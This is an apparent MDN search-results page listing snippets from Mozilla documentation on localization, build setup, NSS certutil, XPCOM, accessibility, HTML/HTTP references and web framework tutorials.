...ode get the source code by downloading the following file: firefox desktop or firefox for android: download the mozilla-<branch>.hg file (e.g. mozilla-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/firefox/bundles/ the file is not small, but after initially downloading it, you only need to download the latest changes in the future. thunderbird, lightning or seamonkey: download the co
mm-<branch>.hg file (e.g. co
mm-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/thunderbird/bundles/ in the next step, we will unpack the source code: open an input shell, e.g. by pressing the windows key and r on the keyboard or by calling the "run..." co
mmand from the windows "start" button, and then typing cmd and pressing the enter key. launch the installed mozillabuild toolset by ...
...es will be disabled. you can create translation patches, but creating language packs for the application, binary repacks of the application (changing the localization of the program), and compiling the application likely won't work. you are now in the mozilla development environment which emulates a linux environment. now go to the directory where you want to put the source code. it's highly reco
mmended to put it onto the fastest hard drive in the device. file paths here work starting with a slash (/) followed by the drive letter, and then the directory structure like on windows, but using slashes (/) instead of backslashes (\). so let's go to c:\mozilla by typing cd /c/mozilla/ create a new directory for the source code: mkdir mozilla-aurora initialize the new directory as new reposi...
...And 11 more matches
Localizing without a specialized tool
from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code. with that document, users can see i
mmediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version. if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool, this document (along with create a new localization) will en...
...older structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely or adjust all co
mmands in the documentation as needed by your custom set-up. get the source change your current directory to your working directory with the following co
mmand: $ cd /path/to/your/working/directory first, you will need to check out the sources of mozilla-1.9.2 together with the en-us strings. assuming that you have installed mercurial, issue the following co
mmand: $ hg clone http://hg.mozilla.org/re...
... each of the files needing localization will be copied. this directory structure needs to mimic the same as the en-us source files concerning localization. you will use a tool called compare-locales to do the comparison between your locale's files and the en-us reference. first, install compare-locales. ...
...And 11 more matches
QA phase
hat you not only want to see your work but you want to make sure it's accurate! if you don't have a lot of experience with code, you might even be concerned that you've broken something (oops!). now we'll walk you through performing some quality assurance testing on your work to make sure you're on the right track. if you're localizing mozilla websites, your work will display soon after you've co
mmitted it without needing a language pack. since such is the case, this part of the guide may not be entirely applicable to you. feel free to skip ahead to the next section by clicking on the next link at the bottom of the page. in order to see your work on firefox (or another mozilla application), you'll need to have a built language pack to install on your local instance. manual & automated bui...
..."l10n base")/ your-locale-code (a directory with your l10n files, in this example we'll use x-testing) example: root/mozilla-aurora & root/l10n-central/x-testing additionally, you will need to copy and translate the toolkit/defines.inc file directly from en-us before you can build. this is due to a bug in the build logic. ...
...testing additionally, you will need to copy and translate the toolkit/defines.inc file directly from en-us before you can build. this is due to a bug in the build logic. please either follow the above structure closely or adjust the co
mmands below according to your custom setup. to copy this file to the appropriate directory, do the following: navigate to your working directory from your co
mmand-line terminal (i.e., where you created the folder structure described above). enter the following co
mmands: mkdir -p l10n-central/x-testing/toolkit/ cp mozilla-aurora/toolkit/locales/defines.inc l10n-central/x-testing/toolkit/defines.inc tah-dah! copied! finally, you will need a file called .mozconfig to proceed with manual builds. this file contains the necessary build instructions. t...
...And 11 more matches
NSS Tools certutil
it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file. starting from nss 3.35, the database format was upgraded to support sqlite as described in this document. it means that cert9.db and key4.db files may be targeted instead. ...
...eys in the key database, then generating and managing certificates in the certificate database. this document discusses certificate and key database management. for information security module database management, see using the security module database tool. availability see the release notes for the platforms this tool is available on. syntax to run the certificate database tool, type the co
mmand certutil option [arguments ] where options and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. each option may take zero or more arguments. to see a usage string, issue the co
mmand without options, or with the -h option. options and arguments options specify an action and are uppercase. option arguments modify an actio...
... -s create an individual certificate and add it to a certificate database. ...
...And 11 more matches
Web Replay
fox will log web replay's internal actions to the terminal, which is helpful when debugging hangs and crashes. default false architecture there are several main components to the project: the record/replay infrastructure records enough information during recording so that the replayed process can run and produce the same observable behaviors. ipc integration allows a replaying process to co
mmunicate with the chrome process using ipdl and shared memory. the rewind infrastructure allows a replaying process to restore a previous state, while still maintaining co
mmunication with the chrome process. debugger integration allows the js debugger to read the information it needs from a replaying process and control the process's execution (resume/rewind). the debugger is not allowed to chan...
...ng reads and writes as if they were wrapped by a lock acquire/release during recording. it is not enough, however, to just record all these non-deterministic sources and reproduce those behaviors exactly in the replaying process. the ipc and debugger integration components may behave differently between recording and replaying, or between different replays. both of these involve inter-thread co
mmunication and calls to non-deterministic apis, and the resulting non-determinism must be allowed within the replaying process. allowed non-determinism there is some slop in this design: the replaying process must be non-deterministic enough that the ipc and debugger components work, but not so non-deterministic that observable behaviors are affected. we resolve this slop by minimizing the toler...
...changed to simplify recording, in ways that should not affect observable behaviors. for example, incremental gcs (a non-deterministic component) work by posting events to the main thread (a deterministic component), so for now incremental gcs are disabled. many of these behavioral changes should eventually be removable. graphics rendering is entirely local to the content process. instead of co
mmunicating via ipc with a compositor in the ui process, there is a compositor in the recording process itself which performs the rendering. some additional instrumentation is performed, per the 'allowed non-determinism', section above. the ipc, rewind, and debugger components are all active while recording. these spawn a number of threads which do not participate in the recording: any events the...
...And 11 more matches
An Overview of XPCOM
nents xpcom allows you to break up large software projects into smaller pieces known as components. they are usually contained in reusable binary libraries (a dll on windows, for example, or a dso on unix), which can include one or more components. when two or more related components are grouped together in a binary library, the library is referred to as a module. modular, component-based progra
mming makes software easier to develop and maintain and has some well-known advantages: benefit description reuse modular code can be reused in other applications and other contexts. updates you can update components without having to recompile the whole application. performance when code is modularized, modules that are not necessary right away can b...
...ating a component, designing your application in a modular way can make it easier for you to find and maintain the parts of the application that you are interested in. mozilla has over four million lines of code, and no single individual understands the entire codebase. the best way to tackle a project of this size is to divide it into smaller, more manageable pieces, use a component progra
mming model, and to organize related sets of components into modules. the network library, for example, consists of components for each of the protocols, http, ftp, and others, which are bundled together and linked into a single library. this library is the networking module, also known as "necko." but it's not always a good idea to divide things up. there are some things in the world that just go ...
...nal to the component stays internal, and isn't exposed to xpcom. in the haste of early mozilla development, components were created where they were inappropriate, but there's been an ongoing effort to remove xpcom from places like this. interfaces how do you decide when to break apart your code? the basic idea is to identify the pieces of functionality that are related and understand how they co
mmunicate with each other. the co
mmunication channels between different component form boundaries between those components, and when those boundaries are formalized they are known as interfaces. interfaces aren't a new idea in progra
mming. we've all used interfaces since our first "helloworld" program, where the interface was between the code we actually wrote -- the application code -- and the pri...
...And 11 more matches
nsITextInputProcessor
nsidomwindowutils has provided the methods which dispatched keyboard events and composition events almost directly. therefore they sometimes caused impossible scenarios in automated tests (what's tested with such events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispatch events with wrong rules. for solving that issue, methods of this interface hav...
...editor if (!tip.flushpendingcomposition()) { return; // composition is not started } if there is no composition, flushpendingcomposition() starts composition with dispatching compositionstart event automatically. however, if the event is consumed by web content, it returns false. in this case, composition isn't created. so, js-ime shouldn't continue to compose the string. ...
... started } if there is no composition, flushpendingcomposition() starts composition with dispatching compositionstart event automatically. however, if the event is consumed by web content, it returns false. in this case, composition isn't created. so, js-ime shouldn't continue to compose the string. ...
...And 11 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
ck what's happening inside mozilla. they need to know about focus changes and other events, and it needs to know what objects are contained in the current document or dialog box. using this information, a screen reader will speak out loud important changes to the document or ui, and allow the user to track where they navigate. the screen reader user can navigate the web page using screen reader co
mmands or browser co
mmands, and the two pieces of software must remain in sync. some screen readers can even show information on a refreshable braille display. screen magnifiers will zoom to the focus, keeping it on the screen at all times, or even allow the user to enter a special low vision document reading mode, with a variety of features such as ticker mode where text is streamed on a single lin...
... aids to get information, but sometimes the hacks are more effective. for example, screen readers look for screen draws of a vertical blinking line, to determine the location of the caret. without doing this, screen readers would not be able to let the user know where there caret has moved to in most programs, because so many applications do not use the system caret (gecko does not). this is so co
mmonly done, that no one even bothers to support the msaa caret, after all the hack is general solution works with pretty much all applications. msaa provides information in several different ways: a com interface (iaccessible) that allows applications to expose the tree of data nodes that make up each window in the user interface currently being interacted with and custom interface extensions ...
...ning process. the accessible event watcher shows what accessible events are being generated by a given piece of software. the accessible explorer and inspect object tools show the tree of data nodes the accessible object is exposing through com, and what the screen boundaries of each object are. in addition, msdn has improved their msaa documentation. when to use msaa, and when not to it's a co
mmon mistake to say that msaa is not worth using, for a number of reasons. myths for not using msaa myth: msaa doesn't really work reality: msaa works really well for dialogs and ui. true, it's not great for documents, but it's the only existing widely-used standard for exposing accessibility. myth: msaa is too slow reality: assistive technology vendors have found ways around most of the perfor...
...And 11 more matches
Event reference
thing from basic user interactions to automated notifications of things happening in the rendering model. this article offers a list of events that can be sent; some are standard events defined in official specifications, while others are events used internally by specific browsers; for example, mozilla-specific events are listed so that add-ons can use them to interact with the browser. most co
mmon categories resource events event name fired when error a resource failed to load. abort the loading of a resource has been aborted. load a resource and its dependent resources have finished loading. beforeunload the window, the document and its resources are about to be unloaded. unload the document or a dependent...
...ogress. timeout progression is terminated due to preset time expiring. storage events change (see non-standard events) storage update events checking downloading error noupdate obsolete updateready value change events broadcast checkboxstatechange hashchange input radiostatechange readystatechange valuechange uncategorized events invalid message message open show less co
mmon and non-standard events abortable fetch events event name fired when abort a dom request is aborted, i.e. using abortcontroller.abort(). svg events svgabort svgerror svgload svgresize svgscroll svgunload svgzoom database events abort blocked complete error success upgradeneeded versionchange script events afterscriptexecute beforescriptexecute menu eve...
...non-standard events abortable fetch events event name fired when abort a dom request is aborted, i.e. using abortcontroller.abort(). ...
...And 11 more matches
HTML elements reference - HTML: Hypertext Markup Language
ent specifies the base url to use for all relative urls in a document. <head> the html <head> element contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets. <link> the html external resource link element (<link>) specifies relationships between the current document and an external resource. this element is most co
mmonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things. <meta> the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>. <style> the html <style> ...
...ts the dominant content of the <body> of a document. the main content area consists of content that is directly related to or expands upon the central topic of a document, or the central functionality of an application. <nav> the html <nav> element represents a section of a page whose purpose is to provide navigation links, either within the current document or to other documents. co
mmon examples of navigation sections are menus, tables of contents, and indexes. <section> the html <section> element represents a standalone section — which doesn't have a more specific semantic element to represent it — contained within an html document. text content use html text content elements to organize blocks or sections of content placed between the opening <body...
...a description list (<dl>). <div> the html content division element (<div>) is the generic container for flow content. it has no effect on the content or layout until styled using css. <dl> the html <dl> element represents a description list. the element encloses a list of groups of terms (specified using the <dt> element) and descriptions (provided by <dd> elements). co
mmon uses for this element are to implement a glossary or to display metadata (a list of key-value pairs). <dt> the html <dt> element specifies a term in a description or definition list, and as such must be used inside a <dl> element. <figcaption> the html <figcaption> or figure caption element represents a caption or legend describing the rest of the contents of its par...
...And 11 more matches
HTTP Index - HTTP
http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. ...
...http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. ...
...ser. a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol. it relies on a few basic concepts like the notion of resources and uris, a simple structure of messages, and a client-server structure for the co
mmunication flow. on top of these basic concepts, numerous extensions have appeared over the years, adding new functionality and new semantics by creating new http methods or headers. 5 choosing between www and non-www urls guide, http, url a recurring question among website owners is whether to choose non-www or www urls. this page provides some advice on what's best. 6 ...
...And 11 more matches
Authoring MathML - MathML
for more details. using mathml mathml in html pages you can use presentation mathml inside html5 documents: <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <h1>mathml in html5</h1> <p> square root of two: <math> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> content mathml is not supported by browsers. it's reco
mmended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet. tools mentioned on this page generates presentation mathml. fallback for browsers without mathml support unfortunately, some browsers are not able to render mathml equations or only have a limited support. hence you will need to use a mathml polyfill t...
...mlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> mathml in email and instant messaging clients modern mail clients may send and receive emails in the html5 format and thus can use mathml expressions. be sure to have the "send as html" and "view as html" options enabled. in thunderbird, you can use the "insert html" co
mmand to paste your html+mathml code. mathbird is a convenient add-on for thunderbird to insert such mathml expressions using the asciimath input syntax. moreover, a latex-to-mathml input box has also been integrated into seamonkey since version 2.28 and into thunderbird since version 31. again, the way mathml is handled and the quality of the mathml rendering depends on the mail client. even if you...
...generated from the (plaintext) instant messages. for example, there is an instantbird add-on that handles latex expressions. conversion from a simple syntax there are many simple notations (e.g. wiki or markdown syntaxes) to generate html pages. the same is true for mathml: for example ascii syntaxes as used in calculators or the more powerful latex language, very popular among the scientific co
mmunity. in this section, we present some of these tools to convert from a simple syntax to mathml. pros: writing mathematical expressions may only require a standard text editor. many tools are available, some of them are compatible with the classical latex-to-pdf workflow. this gives access to advanced features of latex like macros. cons: this may be harder to use: peopl...
...And 11 more matches
Content Scripts - Archive of obsolete content
tabs, provide functions that enable the add-on's main code to load content scripts into web pages content scripts can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory. jpm doesn't make a "data" directory by default, so you must add it and put your content scripts in there. a message-passing api allows the main code and content scripts to co
mmunicate with each other this complete add-on illustrates all of these principles. its "main.js" attaches a content script to the current tab using the tabs module. in this case the content script is passed in as a string. the content script simply replaces the content of the page: // main.js var tabs = require("sdk/tabs"); var contentscriptstring = 'document.body.innerhtml = "<h1>this page has ...
...tscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. controlling when to attach the script the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of: "start": load the scripts i
mmediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready": load the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded event fires. at this point, content scripts are able to interact with the dom content, but externally-refere...
... to send messages from one side to the other, use port.emit() to receive messages sent from the other side, use port.on() messages are asynchronous: that is, the sender does not wait for a reply from the recipient but just emits the ...
...And 10 more matches
Menu - Archive of obsolete content
ertbefore(newitems, target) item(target) popupon(node) remove(target) replace(target, newitems) reset() set(items) show(anchornode) add(items) adds items to the menu. the position at which the items are added is at jetpack's discretion. this method and set() are the reco
mmended methods of adding items to a menu. parameters items a single menuitem or an array of menuitems. clear() removes all items from the menu, even items not added by the feature. contexton(node) binds the menu to a given node as its context menu. parameters node the menu is attached to this node, which may be either a raw dom node or a dom node wrapped by jquery. ...
...gle menuitem or an array of menuitems. target indicates the existing item. see targets. if no such target exists, the position at which the items are added is at the discretion of jetpack. item(target) returns an item in the menu. the item may be modified. if the menu is hidden, it will reflect the changes when it is next shown. if the menu is visible, it will reflect the changes i
mmediately. parameters target indicates the existing item. see targets. return value a menuitem object, or null if no such target exists. popupon(node) binds the menu to a given node. the menu will be shown when the node is left-clicked. parameters node the menu is attached to this node, which may be either a raw dom node or a dom node wrapped by jquery. remove(targ...
...es the existing item to replace. see targets. if no such target exists, the call silently fails. newitems a single menuitem or an array of menuitems. reset() reverts all the changes to the menu that the feature has made. for menus that the feature creates, this is equivalent to clear(). set(items) equivalent to calling reset() and then add(items). this method and add() are the reco
mmended methods of adding items to a menu. parameters items a single menuitem or an array of menuitems. show(anchornode) shows the menu i
mmediately. parameters anchornode the menu will pop up on this node, which may be either a raw dom node or a dom node wrapped by jquery. menuitems menus in jetpack contain menuitem objects, including both built-in firefox menus and...
...And 10 more matches
XML in Mozilla - Archive of obsolete content
the core support is very good with few bugs. dtds and other external entities mozilla does not load external entities from the web. ...
...the core support is very good with few bugs. dtds and other external entities mozilla does not load external entities from the web. ...
...y to look for the entity under <bin>/res/dtd directory. mozilla may also make an exception with xhtml documents, see below. mozilla will read internal (dtd) subsets, and in special circumstances external dtds as explained above and will use this information to recognize id type attributes, default attribute values, and general entities. other notes a lot of the document object model (dom, w3c reco
mmendations and drafts) applies to xml. likewise, the cascading style sheets (css, w3c reco
mmendations and drafts) style language can be used to style xml documents. the code for most the core xml can be found in the following directories on the mozilla mercurial repository: content/xml/, parser/expat/ and parser/htmlparser/. the newsgroup to discuss xml in mozilla depends a bit on the nature of the...
...And 10 more matches
Adding Event Handlers - Archive of obsolete content
so far looks quite good. we haven't cleaned it up much but we have created a simple user interface easily. next, we will show how to add scripts to it. using scripts to make the find files dialog functional, we need to add some scripts which will execute when the user interacts with the dialog. we would want to add a script to handle the find button, the cancel button and to handle each menu co
mmand. we write this using javascript functions much in the same way as html. you can use the script element to include scripts in xul files. you can embed the script code directly in the xul file in between the opening and closing script tags but it is much better to include code in a separate file as the xul window will load slightly faster. the src attribute is used to link in an external script...
...you may attach a listener to a specific element or to an element higher in the hierarchy. naturally, an event attached to an element higher up will receive notification of all elements inside it, whereas an event attached to a button will only receive events pertaining to that button. this is useful if there are several elements you would like to handle using the same or similar code. ...
...to a specific element or to an element higher in the hierarchy. naturally, an event attached to an element higher up will receive notification of all elements inside it, whereas an event attached to a button will only receive events pertaining to that button. this is useful if there are several elements you would like to handle using the same or similar code. the most co
mmon event used is the 'co
mmand' event. ...
...And 10 more matches
TCP/IP Security - Archive of obsolete content
when a user wants to transfer data across networks, the data is passed from the highest layer through intermediate layers to the lowest layer, with each layer adding information. at each layer, the logical units are typically composed of a header and a payload. the payload consists of the information passed down from the previous layer, while the header contains layer-specific information such as addresses. at the application layer, the payload is the actual application data. ...
...ion layer. this layer sends and receives data for particular applications, such as domain name system (dns), hypertext transfer protocol (http), and simple mail transfer protocol (smtp). transport layer. this layer provides connection-oriented or connectionless services for transporting application layer services between networks. ...
... name system (dns), hypertext transfer protocol (http), and simple mail transfer protocol (smtp). transport layer. this layer provides connection-oriented or connectionless services for transporting application layer services between networks. the transport layer can optionally assure the reliability of co
mmunications. transmission control protocol (tcp) and user datagram protocol (udp) are co
mmonly used transport layer protocols. network layer. ...
...And 10 more matches
How do I use GitHub Pages? - Learn web development
ontrol system. you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn from it, and improve on it. you can do that with other people's code too! this article provides a basic guide to publishing content using github's gh-pages feature. publishing content github is a very important and useful co
mmunity to get involved in, and git/github is a very popular version control system — most tech companies now use it in their workflow. github has a very useful feature called github pages, which allows you to publish website code live on the web. basic github setup first of all, install git on your machine. this is the underlying version control system software that github works on top of. n...
... preparing your code for upload you can store any code you like in a github repository, but to use the github pages feature to full effect, your code should be structured as a typical website, e.g. with the primary entry point being an html file called index.html. the other thing you need to do before moving on is to initialise your code directory as a git repository. ...
...o full effect, your code should be structured as a typical website, e.g. with the primary entry point being an html file called index.html. the other thing you need to do before moving on is to initialise your code directory as a git repository. to do this: point the co
mmand line to your test-site directory (or whatever you called the directory containing your website). for this, use the cd co
mmand (i.e. "change directory"). ...
...And 10 more matches
JavaScript basics - Learn web development
it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascript is versatile and beginner-friendly. ...
...it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascript is versatile and beginner-friendly. ...
...inner-friendly. with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and much more! javascript itself is relatively compact, yet very flexible. developers have written a variety of tools on top of the core javascript language, unlocking a vast amount of functionality with minimum effort. these include: browser application progra
mming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples. third-party apis that allow developers to incorporate functionality in sites from other content providers, such as twitter or facebook. third-party frameworks ...
...And 10 more matches
Getting started with Ember - Learn web development
previous overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to install ember, and create a starter app. introducing ember ember is a component-service framework that focuses on the overall web applic...
...l, as ember makes heavy use of them. objective: to learn how to install ember, and create a starter app. introducing ember ember is a component-service framework that focuses on the overall web application development experience, minimizing the trivial differences between applications — all while being a modern and light layer on top of native javascript. ember also has i
mmense backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember and latest co
mmunity-driven conventions. what does it mean to be a component-service framework? components are individual bundles of behavior, style, and markup — much like what other frontend frameworks provide, such as react, vue, and angular. the service side provides long-lived sha...
...e up the majority of any emberjs application. use cases generally, emberjs works well for building apps that desire either or both of the following traits: single page applications, including native-like web apps, and progressive web apps (pwas) ember works best when it is the entire front end of your application. increasing cohesion among many team's technology stacks co
mmunity-backed "best practices" allow for faster long-term development speed. ember has clear conventions that are useful for enforcing consistency and helping team members get up to speed quickly. ember with add-ons emberjs has a plugin architecture, which means that add-ons can be installed and provide additional functionality without much, if any, configuration. examples include: p...
...And 10 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
previous overview: client-side javascript frameworks next in the last article we added more features to our to-do list and started to organize our app into components. in this article we will add the app's final features and further componentize our app. we will learn how to deal with reactivity issues related to updating objects and arrays. to avoid co
mmon pitfalls, we'll have to dig a little deeper into svelte's reactivity system. we'll also look at solving some accessibility focus issues, and more besides. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app.
...bout component lifecycle, to understand when these dom nodes get mounted and and unmounted from the dom and how we can access them. we will also learn about the action directive, which will allow us to extend the functionality of html elements in a reusable and declarative way. finally, we will learn a bit more about components. so far, we've seen how components can share data using props, and co
mmunicate with their parents using events and two-way data binding. now we will see how components can also expose methods and variables. the following new components will be developed throughout the course of this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding events required to handle their functionality. newtodo: displays the <input> fi...
...vided function for each item. the function returns a copy of each todo using spread syntax and overwrites the property of the completed value accordingly. this solution has the added benefit of returning a new array with new objects, completely avoiding mutating the original todos array. note: svelte allows us to specify different options that affect how the compiler works. the <svelte:options i
mmutable={true}/> option tells the compiler that you promise not to mutate any objects. this allows it to be less conservative about checking whether values have changed and generate simpler and more performant code. for more information on <svelte:options...>, check the svelte options documentation. all of these solutions involve an assignment in which the updated variable is on the left side of ...
...And 10 more matches
Simple SeaMonkey build
you can build a bleeding-edge, development version of seamonkey using the co
mmands below. for complete information, see the build documentation. build prerequisites hardware requirements: the seamonkey build process is both i/o- and cpu-intensive, and can take a long time to build even on modern hardware. minimum and reco
mmended hardware requirements for mozilla development are: reco
mmended: 8gb of ram (having only 4gb ram and 4gb swap may give memory errors during compile) 35 gb free disk space. this will accomodate visual studio 2013 co
mmunity edition, the required sdks, the mozillabuild package, the mercurial source repository and enough free disk space to compile. a fast ssd is reco
mmended; the firefox build process is i/o-intensive. high speed internet installing build...
... fast ssd is reco
mmended; the firefox build process is i/o-intensive. high speed internet installing build tools if your system is not listed below, see the build prerequisites page. ...
...ubuntu 12.04 lts (precise pangolin), replace the following line with: sudo apt-get build-dep thunderbird sudo apt-get build-dep seamonkey sudo apt-get install zip unzip mercurial g++ make autoconf2.13 yasm libgtk2.0-dev libglib2.0-dev libdbus-1-dev libdbus-glib-1-dev libasound2-dev libcurl4-openssl-dev libnotify-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libiw-dev libxt-dev mesa-co
mmon-dev libpulse-dev fedora linux centos rhel: sudo yum groupinstall 'development tools' 'development libraries' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel alsa-lib-devel libxt-devel gstreamer-devel gstreamer-plugins-base-devel pulseaudio-libs-devel # 'development tools' is d...
...And 10 more matches
Eclipse CDT Manual Setup
large amount of it is now taken care of by the mach project generation code. for now it's stored here until that integration happens in order that the eclipse cdt page isn't hugely cluttered with mostly redundant information, make setting up eclipse look much more complicated than it is nowadays. setup time some points in the rest of this document below are old and taken care of by the mach co
mmands described above (although some of the project configuration is not done automatically yet). some of it like the section on building the index and usage tips are still relevant, and other parts still may provide useful background information to understand it in more detail on how eclipse works. you can expect it to take an hour or so to work through these instructions if you're doing so for ...
...ry" or "compiler option discovery". the way that eclipse cdt does build option discovery is to scan the console output from a real build looking for lines where a compiler was invoked. for each line that invoked a compiler, it tries to figure out which source file was being built and what its include paths were. if relative paths are used to specify the source file or any of its include paths (co
mmon in mozilla), and if you fail to take steps to make sure the build output specifies which directory the compiler is invoked from, this will not be possible. if eclipse can successfully identify which source file was being compiled, then it can associate with that file the resolvable include paths, preprocessor defines, and pre-include files that were passed to the compiler. note the requirement...
...ipse associates with your files, and that in turn will significantly degrade the quality of the code assistance that eclipse will provide after it next re-indexes the code. these requirements aren't a very good fit with the typical mozilla developer's wish to minimize build times, implying parallelized, silenced builds. the consequences of the above observations are this: it is strongly reco
mmended that you invoke your normal (re)builds from the co
mmand line, externally of eclipse. below we will configure eclipse's build step so that you use it only occasionally to manually trigger a special "build" (actually a fast script that fakes a build) purely for the purposes of setting/updating the compiler options that eclipse associates with each source file. (not using eclipse to invoke ...
...And 10 more matches
Bootstrapping a new locale
download a copy of the source code to your local system, using mercurial. you will need to "hg clone" the existing release branch for mozilla so you have all the files locally for you to begin localization. make sure to have the directory where you intend to work as the current path on your terminal. (you should "cd" to the directory before beginning.) in the terminal, type the following co
mmand: $ hg clone http://hg.mozilla.org/releases/mozilla-x.x.x/ where "x.x.x" is the existing release branch version. for instance, for firefox 3.6, we use mozilla-1.9.2. refer to l10n:branches for the list of all branches. if you are interested in localizing thunderbird 3, seamonkey 2 or other mozilla projects based on gecko 1.9.1 you'll need to follow the instructions on getting the source-cod...
...clone http://hg.mozilla.org/releases/mozilla-x.x.x/ where "x.x.x" is the existing release branch version. for instance, for firefox 3.6, we use mozilla-1.9.2. refer to l10n:branches for the list of all branches. if you are interested in localizing thunderbird 3, seamonkey 2 or other mozilla projects based on gecko 1.9.1 you'll need to follow the instructions on getting the source-code of the co
mm-central repository. create a bare-bones localization next, create a base localization. this is done by cloning the en-us (united states english) files into your localization. first, you should specify your locale's language identifier in ab-cd format, where "ab" is the iso 639 language code, and cd is the iso 3166 country code. the "-cd" part is only necessary to differentiate between versio...
...tion. first, you should specify your locale's language identifier in ab-cd format, where "ab" is the iso 639 language code, and cd is the iso 3166 country code. the "-cd" part is only necessary to differentiate between versions of a language that are subtly different from country to country, such as in "en-us" and "en-gb" for united states english and british english. before you run the copy co
mmands, you need to make the locale directory at the same level as the mozilla-1.9.x/ you just cloned from above. navigate to that level making sure you are *not* inside mozilla-1.9.x/ and then run the following co
mmands. warning: don't copy and paste these co
mmands; you need to replace "ab-cd" with your language identifier first and 1.9.x with the most current release branch. for instance, firef...
...And 10 more matches
SVN for Localizers
t when we say svn we are referring to either the svn server and the svn client. this may seem confusing, but don't fret because we'll make sure to differentiate between the two here: svn server: this is installed on one of mozilla's servers that we use to manage our localizable web system. svn client: this is what a localizer installs on their own computer. the svn client is the localizer's co
mmunication portal for accessing the mozilla svn server. you use it to copy files from the server to your computer and to push changed or localized files back onto the server. installing svn client: linux users can download the svn client from http://subversion.apache.org/packages.html or install packages provided within their distribution (for example, in debian, sudo apt-get install subversio...
... server. you use it to copy files from the server to your computer and to push changed or localized files back onto the server. installing svn client: linux users can download the svn client from http://subversion.apache.org/packages.html or install packages provided within their distribution (for example, in debian, sudo apt-get install subversion). mac os x users can find svn inside the co
mmand line tools (available on the apple developer website), or use tools like homebrew or fink. windows users can install the svn client directly from the cygwin setup file. if you already installed cygwin but it didn't include the svn package, run the cygwin installer again and be sure to check the box beside subversion package. this option is found in the devel category. a possible alternative i...
...site), or use tools like homebrew or fink. windows users can install the svn client directly from the cygwin setup file. if you already installed cygwin but it didn't include the svn package, run the cygwin installer again and be sure to check the box beside subversion package. this option is found in the devel category. a possible alternative is to install tortoisesvn (graphical interface and co
mmand line client). note: if you do not already have access to svn, visit this wiki page on how to get set up with an svn account before proceeding. mozilla's svn repositories mozilla's svn server is publicly available at https://svn.mozilla.org. despite there being several directories at the root of the svn server, only the projects and mozillamessaging.com directories apply to web localizers. ...
...And 10 more matches
Encrypt Decrypt MAC Keys As Session Objects
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
